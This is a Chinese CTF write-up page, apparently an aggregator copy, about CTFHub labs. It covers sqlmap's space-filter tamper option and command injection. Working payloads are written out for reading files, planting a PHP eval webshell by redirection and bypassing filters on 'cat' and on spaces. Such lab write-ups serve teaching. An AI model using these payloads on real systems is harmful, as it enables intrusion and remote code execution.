【CTFHub】sql注入-过滤空格及其他类型的

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了【CTFHub】sql注入-过滤空格及其他类型的相关的知识,希望对你有一定的参考价值。

参考技术A 遇到sql注入问题统一用sqlmap去解决,基础的(字符型,整型,时间,布尔等)均可参考我上篇文章去解决: https://www.jianshu.com/p/05b33402afe9

但是如果按照普通的命令去解答此题,就会发现找不到表。
因此我们要加上绕过命令 --tamper=space2comment

如果出现感觉值不对,或者是<blank>的情况,可以把对应处理的日志给删除了,在跑一遍。

补充在命令里面补充语句:

CTFHub技能树笔记之RCE:命令注入过滤cat过滤空格

小白一个,记录解题过程,如有错误请指正!

一、命令注入

补充知识点:

        命令行注入漏洞是指web应用程序中调用了系统可执行命令的函数,而且输入参数是可控的,如果黑客拼接了注入命令,就可以进行非法操作了。

Windows系统支持的管道符如下:

1. “|”:直接执行后面的语句。
2. “||”:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。
3. “&”:两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
4. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

Linux系统支持的管道符如下:

1. “;”:执行完前面的语句再执行后面的语句。
2. “|”:显示后面语句的执行结果。
3. “||”:当前面的语句执行出错时,执行后面的语句。
4. “&”:两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。
5. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

解法一:

1.查看当前目录,发现有另一个页面,当时没太注意

 2.查看根目录,发现并没有flag,反应过来flag可能在238442225211085.php

 
3.查看238442225211085.php,并没有回显

​
127.0.0.1; cat 238442225211085.php
​

查了一下,可能是字符编码显示不出来,用base64加密形式显示

127.0.0.1; cat 238442225211085.php |base64

解法二:

补充知识点:

        输出重定向:

 1.我们可以用重定向的方法注入一个一句话木马:

127.0.0.1&echo -e "<?php @eval(\\$_POST['test']);?>" > shell.php

 2.用蚁剑连接即可

二、过滤cat

1.查看当前目录

2.根据题目可以知道cat被过滤了,并不能简单的得到flag

3.使用单引号绕过 

127.0.0.1; c''at flag_2287214057241.php |base64

4.使用双引号绕过 

127.0.0.1; c""at flag_2287214057241.php |base64

5.利用Shell 特殊变量绕过

127.0.0.1; ca$@t flag_2287214057241.php|base64

 三、过滤空格

1.先看当前目录

2.根据题目可以知道空格被过滤掉了 

 3.空格可以用以下字符代替:
< 、<>、%20(space)、%09(tab)、$IFS$9、 $IFS、$IFS

$IFS在linux下表示分隔符,但是如果单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,因此这里加一个就固定了变量名。
同理,在后面加个$可以起到截断的作用,使用$9是因为它是当前系统shell进程的第九个参数的持有者,它始终为空字符串。

以下payload皆可绕过本题空格:

127.0.0.1;cat<flag_2057057213623.php|base64
127.0.0.1;cat$IFS$9flag_2057057213623.php|base64
127.0.0.1;cat$IFSflag_2057057213623.php|base64

参考文章:

https://www.cnblogs.com/0yst3r-2046/p/12600073.html

https://www.runoob.com/linux/linux-shell-io-redirections.html

https://blog.csdn.net/Manuffer/article/details/120672448

以上是关于【CTFHub】sql注入-过滤空格及其他类型的的主要内容,如果未能解决你的问题,请参考以下文章

CTFHub技能树笔记之RCE:命令注入过滤cat过滤空格

CTFhub——命令执行

CTFhub——命令执行

CTFHub-技能树-命令执行

CTFhub时间注入题解

CTFHub技能树 Web-SQL注入详解